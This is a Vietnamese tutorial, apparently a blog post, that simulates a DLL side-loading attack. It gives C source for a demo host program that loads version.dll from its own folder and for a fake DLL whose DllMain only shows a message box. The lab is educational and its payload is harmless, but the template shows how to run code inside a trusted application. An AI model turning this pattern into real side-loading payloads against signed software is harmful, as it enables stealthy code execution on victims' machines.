Giả lập tình huống DLL Side Loading

Giả Lập Tình Huống Tấn Công

DLL Side Loading (hay dll search order hijacking) là một kỹ thuật trong đó kẻ tấn công giả mạo một file DLL và ép một ứng dụng hợp pháp load DLL giả này thay vì bản gốc. Điều này cho phép thực thi mã độc trong ngữ cảnh của ứng dụng tin cậy (Signed, trusted).

Sau đây là một kịch bản để lập tình huống tấn công DLL Side Loading

  • Viết một chương trình hợp pháp: app.exe (mặc định sẽ load version.dll hàm MyExport chính thống)
  • Viết một file dll để khi chạy app.exe sẽ start luôn dll (khởi tạo hàm MyExport giả mạo)

Chương trình hợp pháp (app.exe)

B1: Code để viết app.exe

// app.c

#include <windows.h>

#include <stdio.h>

// Kiểu hàm export từ DLL giả

typedef void (*FakeFunc)();

int main() {

    printf(“[*] Trying to load version.dll…\n”);

    // Load DLL tên ‘version.dll’ từ thư mục hiện tại

    HMODULE dll = LoadLibraryA(“version.dll”);

    if (dll != NULL) {

        printf(“[+] LoadLibrary successfully!\n”);

        // Tìm thử hàm export từ DLL

        FakeFunc f = (FakeFunc)GetProcAddress(dll, “MyExport”);

        if (f) {

            printf(“[+] Call MyExport function from DLL…\n”);

            f();  // Gọi hàm từ DLL nếu có

        } else {

            printf(“[!] Can not find MyExport function from DLL.\n”);

        }

        // Giải phóng DLL

        FreeLibrary(dll);

    } else {

        printf(“[!] Not load version.dll\n”);

        MessageBoxA(NULL, “Can not load DLL”, “Notification”, MB_OK);

    }

    return 0;

}

B2: Compile thành file app.exe

B3: Thử chạy app.exe khi không có dll

Chương trình DLL cần load

Trong trường hợp này mình sẽ giả version.dll để

B1: Dùng code C sau đây để viết file dll

// version.c

#include <windows.h>

#include <stdio.h>

__declspec(dllexport) void MyExport() {}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {

    if (fdwReason == DLL_PROCESS_ATTACH) {

        MessageBoxA(NULL, “Faked DLL loaded”, “Side Loading”, MB_OK);

    }

    return TRUE;

}

B2: Compile code trên thành dll

B3: Đặt file dll này trong cùng với đường dẫn của app.exe

B4: Thực thi file app.exe để xem dll trên có thực thi không